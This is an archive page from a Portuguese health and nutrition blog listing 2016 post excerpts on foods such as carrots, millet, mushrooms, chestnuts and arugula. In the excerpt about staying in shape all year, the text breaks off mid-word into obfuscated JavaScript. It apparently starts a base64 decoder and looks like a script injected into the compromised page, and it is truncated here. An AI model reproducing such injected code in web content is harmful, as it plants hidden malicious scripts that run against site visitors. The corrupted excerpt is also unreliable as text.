Nov 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
O frio chegou – 15 alimentos que fortalecem o sistema imunitário Com as temperaturas a baixar, é fundamental reforçarmos as nossas defesas naturais para evitarmos idas frequentes ao médico. Através da alimentação conseguimos deixar a nossa imunidade em alta, só...
Nov 24, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Dicas de nutrição – 5 peixes saudáveis e seguros Os peixes são alimentos saudáveis, é verdade, mas… uns mais do que outros. Para comer peixe com maior segurança, escolha as espécies mais pequenas e, de preferência, capturadas no ambiente natural em vez de...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 21, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – 8 benefícios da cenoura Melhorar a visão e prolongar o bronzeado são apenas alguns dos benefícios que pode obter se consumir regularmente cenoura. Este vegetal maravilhoso pode ser comido cru, cozido, em sumos, ao pequeno-almoço, ao almoço, ao lanche...
Nov 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Descubra quais os alimentos que previnem rugas «Você é aquilo que come». Quantas e quantas vezes já ouvimos esta sentença sem entender as suas implicações práticas? Mas o que é que uma alimentação saudável pode fazer por alguém, além de o ajudar a manter em forma? É...
Nov 7, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: 6 benefícios do millet Já ouviu falar do millet? É uma espécie de grão, da família do milho, muito utilizado na dieta macrobiótica e um dos mais antigos cereais cultivados. De facto, há registo do seu cultivo há mais de 10.000 anos atrás! Costumamos...
Nov 2, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: descubra os benefícios dos cogumelos Qual é o seu ingrediente favorito para saltear? Eu sou fã de cogumelos! Ficam deliciosos salteados e polvilhados com um pouquinho de queijo ralado! Hmmm… verdade? Gosto de todos, os portobello, os shiitake, os...
Out 27, 2016 | Equilíbrio, Saúde e bem estar
7 boas razões para comer castanhas Chegou o tempo das primeiras chuvas, do vento mais fresco, das folhas caídas… e chegou também o tempo de comermos as deliciosas castanhas tão próprias desta altura do ano! A boa notícia é que podemos comê-las sem culpa, porque elas...
Out 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas de nutrição: 17 alternativas saudáveis à carne Ao tentarmos reduzir o consumo de carne, torna-se fundamental encontrar outras fontes de proteína. Se formos vegetarianos, podemos optar até por consumir apenas proteína vegetal. Ao conjugar vários alimentos...
Set 5, 2016 | Saúde e bem estar
Dicas saudáveis – conheça os benefícios da rúcula Como sou fã da alimentação mediterrânica, desta vez decidi falar-lhe de um vegetal que eu adoro adicionar em quase todas as saladas que faço: a rúcula! É uma folha verde-escura e tem um travo ligeiramente amargo...
